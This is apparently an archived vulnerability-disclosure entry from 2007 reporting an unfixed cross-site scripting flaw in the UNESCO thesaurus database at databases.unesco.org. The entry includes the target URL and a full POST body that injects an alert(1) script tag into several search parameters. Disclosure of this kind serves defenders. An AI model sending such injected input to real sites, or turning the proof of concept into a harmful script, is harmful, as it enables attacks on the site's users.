Security researcher Renoized, has submitted on 08/09/2007 a cross-site-scripting (XSS) vulnerability affecting databases.unesco.org, which at the time of submission ranked 8436 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 09/09/2007. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 08/09/2007 |
Date published: 09/09/2007 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: Renoized |
Domain: databases.unesco.org |
Category: XSS |
Pagerank: 8436 |
|---|
| URL: http://databases.unesco.org/thesaurus/wwwi32.exe/%5Bin=affiche.in%5D/ |
| POST: V1=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&t2000=%28%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%24%22 %29+OR+%28%22DU%3D%3Cscript%3Ealert%281%29%3C%2Fscript%3E%24%22%29&t2001=%28%3Cscript%3Ealert%281%29 %3C%2Fscript%3E%24%29+OR+%28DU%3D%3Cscript%3Ealert%281%29%3C%2Fscript%3E%24%29&t2002=%28%3Cscript%3E alert%281%29%3C%2Fscript%3E%24%29+OR+%28DU%3D%3Cscript%3Ealert%281%29%3C%2Fscript%3E%24%29&t2098=%28 %3Cscript%3Ealert%281%29%3C%2Fscript%3E%24%29&t2097=%28%3Cscript%3Ealert%281%29%3C%2Fscript%3E%24%29 +OR+%28DU%3D%3Cscript%3Ealert%281%29%3C%2Fscript%3E%24%29&t2003=20&t2004=1&t2006=&t2016=1 |
|
Click here to view the mirror
|
|
|
| 
